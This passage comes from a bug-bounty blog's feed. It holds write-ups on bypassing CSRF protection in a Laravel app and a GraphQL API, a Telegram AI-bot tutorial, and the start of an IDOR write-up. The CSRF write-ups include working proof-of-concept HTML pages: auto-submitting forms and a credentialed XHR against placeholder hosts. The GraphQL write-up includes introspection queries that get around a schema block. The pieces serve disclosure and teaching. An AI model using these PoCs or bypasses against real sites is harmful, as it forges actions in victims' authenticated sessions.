<p><em>“Cross</em>-site request forgery (also known as <em>CSRF) is a</em> <em>web security vulnerability</em> <em>that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same-origin policy, which is designed to prevent different websites from interfering with each other.”</em></p>
</blockquote>
<p>To put it simply, <strong>CSRF (Cross-Site Request Forgery)</strong> happens when you visit <strong>site A</strong> (an attacker-controlled site), and an action is unknowingly triggered on <strong>site B</strong> (a legitimate website where you're authenticated).</p>
<ol>
<li><h2 id="heading-classic-csrf-with-get-request">Classic CSRF with GET Request</h2>
</li>
</ol>
<p>The application was built with Laravel, so it was a modern web application. I started testing all features and functionalities. I noticed that every state-changing action was sent using a <code>POST</code> request.</p>
<p>As you may know, Laravel has built-in protection against CSRF (Cross-Site Request Forgery) attacks through CSRF tokens. It applies CSRF protection using the <code>VerifyCsrfToken</code> middleware:</p>
<pre><code class="lang-php">\App\Http\Middleware\VerifyCsrfToken::class
</code></pre>
<p>This middleware is applied to all <code>POST</code>, <code>PUT</code>, <code>PATCH</code>, and <code>DELETE</code> requests. If a request is missing a valid CSRF token, Laravel will reject it with a <strong>419 Page Expired</strong> error.</p>
<p>And yes — you read that right — there’s no <code>GET</code> request in the list above. What I mean is that if you can find a state-changing action using the <code>GET</code> method, the app is vulnerable to CSRF.</p>
<p>In my case, the <strong>refund action</strong> was using <code>GET</code>, so I made a proof of concept (PoC), reproduced the vulnerability, and it worked successfully.</p>
<p>So, I wrote a report with the PoC code and a video recording. It was triaged and accepted.</p>
<p>The POC Code:</p>
<pre><code class="lang-http">&lt;html&gt;
  &lt;body&gt;
    &lt;form action="https://test.com/xxxx/refund"&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      history.pushState('', '', '/');
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750325652574/6b2d37c0-d40d-469b-b70d-a3ad6d009ff5.png" alt class="image--center mx-auto" /></p>
<ol start="2">
<li><h2 id="heading-bypassing-csrf-by-changing-content-type">Bypassing CSRF by Changing Content-Type</h2>
</li>
</ol>
<p>How many times have you encountered an application that was prone to CSRF? For example, it relied on cookies, had no CSRF token, <strong>and</strong> you skipped testing just because the <code>Content-Type</code> was set to <code>application/json</code>?</p>
<p>I’ve faced this a lot!</p>
<p>But what I’ve learned is this: <strong>test every request for CSRF</strong>, regardless of the <code>Content-Type</code>. Sometimes, CSRF protection is only enforced for <code>application/json</code>, and if you change it to <code>text/plain</code> or another type, the protection might not apply at all.</p>
<p>To demonstrate, let me show you one of my own findings in the wild:</p>
<p>The request originally used <code>Content-Type: application/json</code> and included a CSRF token in the headers (as shown in the image below).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750410503637/4153e4fe-c80a-4213-9caa-83d137bc739b.png" alt class="image--center mx-auto" /></p>
<p>Then I removed the CSRF token from the headers — and surprisingly, the request still worked. It responded with <code>202 Accepted</code>.</p>
<p>That got me thinking, maybe we could do something with this, right?</p>
<p>Next, I changed the <code>Content-Type</code> to <code>application/x-www-form-urlencoded</code>, and once again, the request worked and the action took place.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750418902471/46a1e29f-fc95-41f1-885e-a15367aeb4e4.png" alt class="image--center mx-auto" /></p>
<p>So now, as you can see, the request works <strong>without any CSRF token</strong> in the header or the body. That clearly shows there's no proper protection in place.</p>
<p>Let’s go ahead and build a <strong>Proof of Concept (PoC)</strong> to demonstrate the impact.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
      <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">submitRequest</span>(<span class="hljs-params"></span>)
      </span>{
        <span class="hljs-keyword">var</span> xhr = <span class="hljs-keyword">new</span> XMLHttpRequest();
        xhr.open(<span class="hljs-string">"POST"</span>, <span class="hljs-string">"https:\/\test.com\/api\/\/support-email"</span>, <span class="hljs-literal">true</span>);
        xhr.setRequestHeader(<span class="hljs-string">"accept"</span>, <span class="hljs-string">"application\/json, text\/plain, *\/*"</span>);
        xhr.setRequestHeader(<span class="hljs-string">"accept-language"</span>, <span class="hljs-string">"en-US,en;q=0.5"</span>);
        xhr.setRequestHeader(<span class="hljs-string">"content-type"</span>, <span class="hljs-string">"application\/x-www-form-urlencoded"</span>);
        xhr.withCredentials = <span class="hljs-literal">true</span>;
        <span class="hljs-keyword">var</span> body = <span class="hljs-string">"support_email=ali@ali.com"</span>;
        <span class="hljs-keyword">var</span> aBody = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(body.length);
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(<span class="hljs-keyword">new</span> Blob([aBody]));
      }
      submitRequest();
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"#"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Submit request"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"submitRequest();"</span> /&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>Hosting this on my VPS and sending it to victims resulted in a 401 Unauthorized response. However, the cookies were being sent, and there was nothing that should have prevented the attack — yet it still didn’t work.</p>
<p>I tried replacing the cookies in the request with those from a previous legitimate request, and that worked. The exact same request succeeded. But when using the cookies automatically included in the request initiated from the attacker’s site, it failed. Believe me, the origin and referer headers were not being checked — it just wasn’t working for some other odd reason. <strong>In my case, it failed for reasons I couldn’t figure out, but this same technique might work for you.</strong></p>
<p>This was really odd to me. I asked several friends, and no one had a clear answer.</p>
<p>So, if anyone can figure out what’s causing this behavior, feel free to reach out to me on X or LinkedIn. Let’s exploit this issue properly and submit a report.</p>
<ol start="3">
<li><h2 id="heading-json-based-csrf-with-textplain-content-type">JSON-based CSRF with <code>text/plain</code> Content-Type</h2>
</li>
</ol>
<p>Sometimes, a request with <code>application/json</code> content type can still be accepted if you change the content type to <code>text/plain</code> or <code>application/x-www-form-urlencoded</code> and the server will still process the JSON body correctly. There is no need to change the body format like in the previous case. I encountered this behavior in a real web application, and I also solved a similar challenge on PentesterLab.</p>
<p>Below is an example from a real-world application where the request works with <code>text/plain</code> content-type and a JSON body. The key is that the application isn’t strict about the JSON format. What I mean is that, you should be able to add new parameters in the request and the server accepts it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750419387657/26cf46f1-c369-48df-bd95-d25b9711dd4d.png" alt class="image--center mx-auto" /></p>
<p>but if you create a poc code like bellow and send it:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
  <span class="hljs-comment">&lt;!-- CSRF PoC - generated by Burp Suite Professional --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"https://test.com/rpc/"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span> <span class="hljs-attr">enctype</span>=<span class="hljs-string">"text/plain"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"<span class="hljs-symbol">&amp;#123;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;quot;</span>method<span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#58;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;quot;</span>GET<span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#44;</span><span class="hljs-symbol">&amp;#13;</span><span class="hljs-symbol">&amp;#10;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;quot;</span>params<span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#58;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#123;</span><span class="hljs-symbol">&amp;#13;</span><span class="hljs-symbol">&amp;#10;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;quot;</span>SecretKey<span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#58;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;quot;</span>29a83da5fe8c80cfb<span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#44;</span><span class="hljs-symbol">&amp;#13;</span><span class="hljs-symbol">&amp;#10;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;quot;</span>Path<span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#58;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#47;</span>package<span class="hljs-symbol">&amp;#47;</span>6833386<span class="hljs-symbol">&amp;quot;</span><span class="hljs-symbol">&amp;#13;</span><span class="hljs-symbol">&amp;#10;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#32;</span><span class="hljs-symbol">&amp;#125;</span><span class="hljs-symbol">&amp;#13;</span><span class="hljs-symbol">&amp;#10;</span><span class="hljs-symbol">&amp;#125;</span>"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">""</span> /&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Submit request"</span> /&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
      history.pushState(<span class="hljs-string">''</span>, <span class="hljs-string">''</span>, <span class="hljs-string">'/'</span>);
      <span class="hljs-built_in">document</span>.forms[<span class="hljs-number">0</span>].submit();
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>You’ll notice that the <code>=</code> sign breaks the request. Here’s a tip to make creating a PoC much easier using Burp Suite’s CSRF PoC generator: just add a random parameter with the value <code>=</code>. In this case, the PoC generator will handle it correctly, escaping the <code>=</code> sign properly. This little trick saved me a lot of time since I didn’t want to manually create, modify, and handle the PoC code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750416853654/1e082d52-69c2-42b5-a77d-a689412f7696.png" alt class="image--center mx-auto" /></p>
<p>So, make the request as bellow.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750416949074/be11b8d8-9c9a-4f5e-b9a7-68142110fc57.png" alt class="image--center mx-auto" /></p>
<p>Remember when I said, “The key is that the application isn’t strict about the JSON format”? What I meant is that additional random parameters like <code>aa</code> are accepted by the server without causing the request to fail.</p>
<h2 id="heading-key-takeaways"><strong>Key Takeaways:</strong></h2>
<ul>
<li><p>If a state-changing action uses the <strong>GET</strong> method, it is vulnerable to CSRF.</p>
</li>
<li><p>A CSRF token in place might only protect requests with <code>application/json</code> content-type.</p>
</li>
<li><p>Changing the content-type of state-changing requests can bypass CSRF protection.</p>
</li>
<li><p>You can send requests with a simple content-type but keep the JSON body intact to exploit the vulnerability.</p>
</li>
</ul>
<p>I hope you learned something new! If you have any questions, feel free to ask in the comments or DM me on X. I will definitely respond.</p>
<p>Follow me on <a target="_blank" href="https://x.com/Ali_4fg">X</a> for more updates!</p>
<p>Be happy, Be nice.</p>
]]></content:encoded></item><item><title><![CDATA[2500 Dollars in bounties, Hacking GraphQL]]></title><description><![CDATA[Hi, amazing hackers! I hope you're doing well.In this article, I’ll share my learning process and experiences in finding multiple vulnerabilities in GraphQL APIs application.
In February, I started learning GraphQL API security using the book Black H...]]></description><link>https://blog.koalasec.co/2500-dollars-in-bounties-hacking-graphql</link><guid isPermaLink="true">https://blog.koalasec.co/2500-dollars-in-bounties-hacking-graphql</guid><category><![CDATA[GraphQL]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[websecurity]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Fri, 28 Mar 2025 15:59:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743092430747/d305beca-2ce5-4e53-bc26-689cd51bed67.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Hi, amazing hackers! I hope you're doing well.</strong><br />In this article, I’ll share my learning process and experiences in finding multiple vulnerabilities in GraphQL APIs application.</p>
<p>In <strong>February</strong>, I started learning <strong>GraphQL API security</strong> using the book <em>Black Hat GraphQL</em> as a reference, along with <strong>PortSwigger labs</strong>. While studying, I picked a <strong>private bug bounty program</strong> on HackerOne. To my surprise, its entire infrastructure was built on <strong>GraphQL</strong>—a perfect target to put my learning into practice!</p>
<p>So, let's get into the two bugs I discovered!</p>
<h1 id="heading-first-one-idor-my-favvv">First One, IDOR (My favvv)</h1>
<p>The first thing you can do while testing a <strong>GraphQL API application</strong> is check whether <strong>introspection</strong> is enabled or not.</p>
<p>A quick note about <strong>GraphQL introspection</strong> from <strong>PortSwigger</strong>:</p>
<blockquote>
<p><em>“Introspection is a built-in GraphQL function that enables you to query a server for information about the schema. It is commonly used by applications such as GraphQL IDEs and documentation generation tools.”</em></p>
</blockquote>
<p>Having <strong>introspection enabled</strong> allows us to make all requests and test further for bugs!</p>
<p>I used <strong>InQL</strong>, a well-known <strong>Burp Suite extension</strong>, to check for it. As you can see, I got an <strong>error :(</strong>, meaning that introspection was <strong>disabled</strong> by the developer. So, I decided to find <strong>queries and mutations</strong> from JavaScript files instead. It was <strong>time-consuming</strong> to find and construct requests, but what else could we do? :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743095144232/bcdd0d5d-c74f-4718-93c6-9109a89d9886.png" alt class="image--center mx-auto" /></p>
<p>It turns out, <strong>we could do something!</strong> While reading <strong>PortSwigger's</strong> page about <strong>GraphQL</strong>, I noticed that developers often disable the <code>__schema</code> keyword in queries.</p>
<p>However, if the developer has only excluded <code>__schema</code>, then the introspection query below <strong>would not be blocked</strong>, allowing us to access the schema!</p>
<p>For Queries:</p>
<pre><code class="lang-graphql">{
  __type(<span class="hljs-symbol">name:</span> <span class="hljs-string">"Query"</span>) {
    fields {
      name
      args {
        name
        <span class="hljs-keyword">type</span> {
          name
          kind
        }
      }
    }
  }
}
</code></pre>
<p>For Mutations:</p>
<pre><code class="lang-graphql">{
  __type(<span class="hljs-symbol">name:</span> <span class="hljs-string">"Mutation"</span>) {
    fields {
      name
      args {
        name
        <span class="hljs-keyword">type</span> {
          name
          kind
        }
      }
    }
  }
}
</code></pre>
<p>By doing this, I was able to find all <strong>mutations, queries, and fields</strong>. Now, it was time to construct them all together, one by one. I used <strong>AI (ChatGPT)</strong> to automate this process, and it was <strong>amazing!</strong></p>
<p>Then, I found the <strong>mutation below</strong>, which takes an <strong>ID</strong> as its argument. The value was <strong>numeric</strong>, making it a <strong>great candidate</strong> for testing <strong>IDOR</strong> 🙂.</p>
<p>I tried <strong>1, 2, 3</strong>, but all returned <strong>404</strong>. I initially thought it wasn’t vulnerable, but thankfully, I decided to <strong>fuzz</strong> a bit. Finally, I found that <strong>1105</strong> responded! and 1110, 1120, and so on…</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743096283688/84b85df1-2bed-4f51-b99c-096fca837801.jpeg" alt class="image--center mx-auto" /></p>
<p>As <strong>Stripe's documentation</strong> mentions, the <strong>client_secret</strong> is used to <strong>complete a payment from the frontend</strong>. It should <strong>not be stored, logged, or exposed</strong> to anyone other than the customer.</p>
<p>If leaked, an attacker could use the <strong>client_secret</strong> to confirm payments on behalf of victims, leading to <strong>unauthorized transactions and financial fraud</strong>. <a target="_blank" href="https://docs.stripe.com/api/payment_intents/object">Ref</a></p>
<p>I initially submitted the report with this impact description, but I now realize it may not have fully explained the severity. The report was marked as Medium by the H1 analyst. However, I believe it should have been considered HIGH. Unfortunately, it was rated Medium, and I received $500.</p>
<h1 id="heading-second-non-json-csrf">Second, Non-JSON CSRF</h1>
<p>Yes, you read it right! Sometimes, the server <strong>fails</strong> to validate the request content type and accepts <strong>non-JSON queries and mutations</strong>, which is the opposite of GraphQL’s expected behavior (accepting only <code>application/json</code> content-type). When this happens, and there is no <strong>CSRF token</strong>, an attacker can forge requests and trick users into <strong>performing authenticated state-changing actions</strong> on behalf of victims. In my case, I was able to add admin, change users email, in a simple word, i could do any update/edit action.</p>
<p>I used <strong>GraphQL-Cop</strong>, an open-source tool for testing various security vulnerabilities in GraphQL APIs. As shown in the image below, the tool confirms that requests can be sent using <strong>non-JSON queries</strong>, meaning the server accepts requests with the <code>application/x-www-form-urlencoded</code> content type.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743162170621/d9e0bc6b-b74b-4b9f-bae0-7f6144b5338e.png" alt class="image--center mx-auto" /></p>
<p>Now, it's time to <strong>forge the request</strong>. Here's how I do it:</p>
<p>I change the <strong>Content-Type</strong> and remove the request body. Then, I add a <strong>query</strong> parameter. This makes Burp Suite recognize the request as <strong>GraphQL</strong>, adding a new <strong>GraphQL tab</strong> in the Repeater. By clicking on this tab, you can reinsert the <strong>query or mutation</strong> that you removed from the body.</p>
<p>The images below demonstrate how it looks in action.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743162417258/c495e159-705e-48a3-aca4-ebdc40e80287.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743162518622/291d2462-3a0a-4863-8977-7e5c9d299d9c.png" alt class="image--center mx-auto" /></p>
<p>The image above shows how it looks. From here, the rest is straightforward. just like a <strong>normal CSRF attack</strong>, where you craft a <strong>PoC (Proof of Concept)</strong> to exploit the vulnerability.</p>
<p>To be honest, I used <strong>Burp Suite's PoC generator</strong> to simplify the process. I created <strong>three different PoCs</strong> and recorded a <strong>video demonstrating a sensitive action</strong> being performed without user consent. After a long wait, my report was finally <strong>triaged</strong> with a <strong>HIGH</strong> severity rating. Then, two weeks later, I received a <strong>$2,000 bounty</strong> as a reward! 🚀</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743162854802/405eb483-7979-49e9-b5b7-5476edbae1c9.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-last-words">Last Words</h2>
<p>For me, <strong>bug bounty</strong> is all about the fun of learning something new and applying it in the real world. My experience with GraphQL was no different. This month (March), I started diving into <strong>Android hacking</strong>, and guess what? The company’s <strong>Android application</strong> is also in scope, so let’s give it a shot and see what comes out of it!</p>
<p>I hope you enjoyed reading this post and learned something along the way. If you'd like to follow me, feel free to connect with me on <a target="_blank" href="https://x.com/Ali_4fg"><strong>X (Twitter)</strong></a> and <a target="_blank" href="https://www.linkedin.com/in/ali-hussainzada/"><strong>LinkedIn</strong></a>.</p>
<p>Be Happy, Be Nice:)</p>
]]></content:encoded></item><item><title><![CDATA[Building Your Own AI-Powered Telegram Bot with Python: A Beginner's Guide]]></title><description><![CDATA[Hello Geeks, I hope you are doing well!
I am back with a new and different topic, as you may noticed that it is more programming-ish article. I added the “Programming“ section on the blog, therefor we will have these kind of articles as well. Hope yo...]]></description><link>https://blog.koalasec.co/building-your-own-ai-powered-telegram-bot-with-python-a-beginners-guide</link><guid isPermaLink="true">https://blog.koalasec.co/building-your-own-ai-powered-telegram-bot-with-python-a-beginners-guide</guid><category><![CDATA[AI]]></category><category><![CDATA[telegram bot]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Wed, 20 Nov 2024 15:38:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732033586669/93992f2f-78af-4351-8f85-c4b3e484334c.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello Geeks, I hope you are doing well!</p>
<p>I am back with a new and different topic, as you may noticed that it is more programming-ish article. I added the “Programming“ section on the blog, therefor we will have these kind of articles as well. Hope you enjoy :)</p>
<p>In this article, I'll teach you how to build a Telegram chatbot integrated with AI that you can chat, ask and paly with! So, let’s get started!</p>
<h2 id="heading-how-to-get-your-bot-token">How to Get Your Bot Token</h2>
<p>In order to create your bot, you need to ask BotFather - No, he is not a person. Its a also a bot.</p>
<ol>
<li><p>Search for @botfather in Telegram.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732111937994/f6dfe3ca-d364-4fd9-aefa-c198357f5162.png" alt class="image--center mx-auto" /></p>
<p> BotFather Telegram bot</p>
</li>
<li><p>Start a conversation with BotFather by clicking on the Start button. Then, Type <code>/newbot</code>, and follow the prompts to set up a new bot. The BotFather will give you a token that you will use to authenticate your bot and grant it access to the Telegram API.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732112085916/87a6d639-e836-49bd-af31-aee592691dd3.png" alt class="image--center mx-auto" /></p>
<p> Your bot is created, please keep your token secret.</p>
</li>
</ol>
<h2 id="heading-how-to-setup-coding-environment">How to setup Coding Environment?</h2>
<p>While there are various libraries to create a Telegram bot, we are going to use <a target="_blank" href="https://pypi.org/project/pyTelegramBotAPI/">pyTelegramBotAPI</a> library. it is simple and extensible for the Telegram Bot API with both synchronous and asynchronous capabilities.</p>
<p>Install library by using pip:</p>
<pre><code class="lang-bash">pip install pyTelegramBotAPI
</code></pre>
<p>Next, open your favorite code editor. In my case I use Vs Code. Create a file like bot.py, and paste the following code.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> telebot 
bot = telebot.TeleBot(<span class="hljs-string">'BOT TOKEN'</span>)
</code></pre>
<p>In the above code, replace you own telegram token between quotes. we use the <code>TeleBot</code> class to create a bot instance and passed the <code>BOT TOKEN</code> to it.</p>
<p>Let's define a message handler that handles incoming <code>/start</code> commands.</p>
<pre><code class="lang-python"><span class="hljs-meta">@bot.message_handler(commands=['start'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send_welcome</span>(<span class="hljs-params">message</span>):</span>
    bot.reply_to(message, <span class="hljs-string">"umm lets start to have fun :)"</span>)
</code></pre>
<p>What the above code does, is just replying to users when the start button is sent. Its all but now lets integrate it with AI, add a new handler.</p>
<h2 id="heading-integration-with-an-ai-api-endpoint">Integration with an AI API endpoint</h2>
<p>For integration I use Groq API, so what is Groq? you may ask. here as ChatGPT says, “Groq API is a high-performance, AI-driven inference API designed to provide fast and efficient processing for machine learning workloads. It is powered by Groq hardware, which is known for its unique architecture that optimizes for low latency and high throughput in AI tasks.</p>
<p>By leveraging Groq API, developers can integrate advanced AI capabilities such as natural language processing (NLP), computer vision, and other machine learning tasks into their applications, enabling quick and scalable solutions. This makes it an ideal choice for creating responsive and powerful AI-driven tools, like your Telegram chat bot.“</p>
<h2 id="heading-how-to-get-access-to-the-api">How to get access to the API</h2>
<p>Create an account by navigating to <a target="_blank" href="https://console.groq.com/playground">https://console.groq.com</a>. Next, go to your API Keys, and create one.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732115554653/6eec930f-e489-4518-b88e-a432bce50f67.png" alt class="image--center mx-auto" /></p>
<p>Keep your API key secure and confidential. Once you've obtained it, you can use the following API endpoint to send your custom messages. In this integration, user input is passed to the content field of the API, and the response is then delivered back to the user on Telegram.</p>
<pre><code class="lang-python"><span class="hljs-meta">@bot.message_handler(content_types=['text'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_text_messages</span>(<span class="hljs-params">message</span>):</span>
    client = Groq(api_key=<span class="hljs-string">"YOUR TOKEN GOES HERE"</span>)
    chat_completion = client.chat.completions.create(
        messages=[
            {
                <span class="hljs-string">"role"</span>: <span class="hljs-string">"user"</span>,
                <span class="hljs-string">"content"</span>: <span class="hljs-string">f"<span class="hljs-subst">{message.text}</span>"</span>,


            }
        ],
        model=<span class="hljs-string">"llama3-8b-8192"</span>,
    )
    finalmsg =  chat_completion.choices[<span class="hljs-number">0</span>].message.content
    bot.reply_to(message, <span class="hljs-string">f"<span class="hljs-subst">{finalmsg}</span>"</span>)
</code></pre>
<p>Add the following to the end of your file to launch the bot:</p>
<pre><code class="lang-python">bot.infinity_polling()
</code></pre>
<p>Thats it, Our bot is just created. Now, run the python code and go to telegram. Start the bot, you will get “umm lets start to have fun :)“ message as we defined.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732116177608/2168bfe5-46ce-4172-af3b-5f0c1b8b52ca.png" alt class="image--center mx-auto" /></p>
<p>For more information on using the pyTelegramBotAPI library, you can refer to their <a target="_blank" href="https://github.com/eternnoir/pyTelegramBotAPI"><strong>documentation</strong></a>. and For Using another model you can read more info from documentation of <a target="_blank" href="https://console.groq.com/docs">Groq</a></p>
<p>I have git commited all its code to my <a target="_blank" href="https://github.com/alihussainzada/AITelegramChatbot">Github repo</a>. So, you can use my API key and bot by just running the code.</p>
<p>Thanks for reading. Hope you like it, till next one Bye.</p>
<h3 id="heading-references">references:</h3>
<ol>
<li><p><a target="_blank" href="https://github.com/alihussainzada/AITelegramChatbot">FreeCodeCamp</a></p>
</li>
<li><p>Groq documentation</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[4500$ bounties on a single Web Application (API Hacking)]]></title><description><![CDATA[Intro,
Hi, its me again.
In this write-up I will talk about my four bugs (one critical and three of medium severity) I discovered on a single web application two month ago. All vulnerabilities are API related, So I hope you like it.
I will try my bes...]]></description><link>https://blog.koalasec.co/4500-bounties-on-a-single-web-application-api-hacking</link><guid isPermaLink="true">https://blog.koalasec.co/4500-bounties-on-a-single-web-application-api-hacking</guid><category><![CDATA[apihacking]]></category><category><![CDATA[APIs]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Wed, 30 Oct 2024 15:22:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1730281863711/ac5b8719-ffe3-43cf-90fa-27b87659353f.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-intro">Intro,</h2>
<p>Hi, its me again.</p>
<p>In this write-up I will talk about my four bugs (one critical and three of medium severity) I discovered on a single web application two month ago. All vulnerabilities are API related, So I hope you like it.</p>
<p>I will try my best to write in a way that if you are not a tech guy, would grasp something:) but if you know basic just ignore <strong>TLD (Too Long; Didn't Read)</strong> part. OK, without wasting you time lets jump right in.</p>
<h2 id="heading-bugs">Bugs,</h2>
<h3 id="heading-first-the-critical-one">First, the Critical one!</h3>
<h3 id="heading-idor-leads-to-view-all-users-bank-details">IDOR leads to view all users’ bank details</h3>
<p>I really dont know how and where should I start. Lets start from the very beginning, I was invited in a private program on HackerOne. The Scope of program was just two main applications. So, I picked one and started creating an account. After exploring it for two or three days, checking all functionalities I thought it is safe.</p>
<p>But, I found the first bug! the critical one! The functionality of application enables users to connect their bank accounts. When they navigate to their Dashboard an API call was hit to show the details of their bank details.</p>
<p>The API endpoint was like:</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET /api/payment-method/
HOST</span>: domain.company
<span class="hljs-attribute">Authorization</span>: Bearer faketoken1234567890
<span class="hljs-attribute">Content-Type</span>: application/json
</code></pre>
<p>The response was in JSON format, actually it was empty for me. because I did not connect my bank account. We have a popular quote which says, “<strong>Test IDOR in requests which return sensitive data!</strong>“. If you have not heard it, So keep it in your mind and repeat it while hunting :))</p>
<p><strong>So, lets talk what is IDOR? TLD (Too Long; Didn't Read)</strong></p>
<p>IDOR (Insecure Direct Object Reference) is a security flaw where attackers can access data or perform actions they shouldn’t be allowed to, simply by changing a part of the URL or request. For example, if a website uses a URL like:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://example.com/user/123</span>
</code></pre>
<p>where "123" is your user ID, an attacker might change "123" to another number (like "124") and get access to someone else's data.</p>
